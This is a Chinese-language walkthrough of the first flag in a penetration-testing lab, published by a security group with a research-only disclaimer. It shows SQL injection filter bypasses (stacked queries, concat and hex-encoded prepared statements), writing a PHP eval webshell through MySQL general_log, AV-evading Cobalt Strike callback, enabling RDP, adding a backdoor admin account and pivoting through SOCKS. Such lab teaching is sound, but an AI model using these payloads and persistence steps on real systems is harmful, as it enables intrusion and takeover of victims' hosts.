查看原文
其他

从WEB打点到内网域控Flag1【星球内部直播课WP】

李白鸭 李白你好 2023-06-22

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

宝子们现在只对常读和星标的公众号才展示大图推送,建议大家把李白你好设为星标”,否则可能就看不到了啦!

0x01 网络安全情报攻防站

本靶场环境李白安全团队Jerry搭建,并讲授给星球内部成员。星球会有不定时的技术直播课、送书活动和内部交流群,欢迎师傅们前来学习。

0x02 靶场说明

靶场共有5个Flag,靶场涉及到的知识点如下

SQL注入(分块传输、堆叠注入、函数绕过)免杀绕过360CS中转上线内网代理Socks5Linux提权历史漏洞利用域内横向移动

录播、完整的WP和靶场均在知识星球https://t.zsxq.com/0dWI9hDl8

0x03 Flag1

C:\phpstudy_pro\WWW\index.php

1、C段扫描IP发现目标网站

2、点击按钮,尝试”and 1=2”回显不一样,猜测sql注入

3、Sqlmap命令:

python sqlmap.py -u http://172.16.1.190/index.php?id=1 --dbs

可以跑出数据库名

但是没有办法进一步跑出表名,猜测存在过滤

4、Burp进行模糊测试

猜测过滤select字段

5、扫描网站目录

发现备份文件www.zip

可以查看源码中过滤了”general_log”、”select”字段。同时id参数是允许post传输的。

6、sql注入日志写shell

想要通过sql注入拿到shell,可以尝试sql日志拿shell,但此时过滤了”general_log”,需要绕过。


绕过方法1:这里利用preg_match()函数特性绕过


通过输入错误语法触发报错,得到web根目录绝对路径

通过堆叠注入,sql日志写shell,分别执行sql语句:

show variables like '%general%'; #查看配置set global general_log = on; #打开日志记录set global general_log_file = 'C:/phpStudy_pro/WWW/tom.php' #设置日志位置在id参数中输入?id=123 and '<?php eval($_POST[jerry])?>'将一句话木马写入日志

绕过方法2:使用自定义变量+concat函数绕过过滤限制

?id=1;set @x=concat('set global general_','log_file = \'C:/phpStudy_pro/WWW/tom2.php\''); prepare a from @x;EXECUTE a;

绕过方法3:使用自定义变量+hex编码绕过过滤限制(这里要逐个空格hex转码,空格用20代替)

?id=1;set @x=0x73657420676c6f62616c2067656e6572616c5f6c6f673d6f6e;prepare a from @x;EXECUTE a;

蚁剑成功连接

Flag1:flag{This_is_1st!}

7、查看进程

发现存在360av

8、上传免杀360木马(免杀另做说明)

执行上线cs

设置一层中转主机代理


0x04 彩蛋内容

桌面存在一个文件flag100.txt,只有system权限才能查看。

1、使用工具远程开启3389远程桌面

工具地址:https://github.com/3had0w/Open3389

Cs执行如下代码开启3389端口:

execute-assembly Sharp3389.exe -rdp0


2、新建账号

这里直接使用cs插件梼杌,新建管理员用户admin/admin@123


3、远程桌面连入,以管理员身份启动cmd

也可以考虑将提权的exe加入360可信任组


1、查看第一层主机ip段

发现存在新网段192.168.86.128/24


2、 上传Fscan扫描

这里360会杀掉fscan,有两种解决办法:

添加360信任(需要之前的远程桌面连接)使用cs自带的内网扫描(不稳定)


3、 挂socks代理

挂代理后可以通过192.168.86.128访问冰墩墩页面

至此是第一个Flag的全部解法,下一篇文章是关于后面几个Flag的解法。

0x05 往期精彩

记一次渗透测试历程

福利一枚:对钓鱼盗号站渗透

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存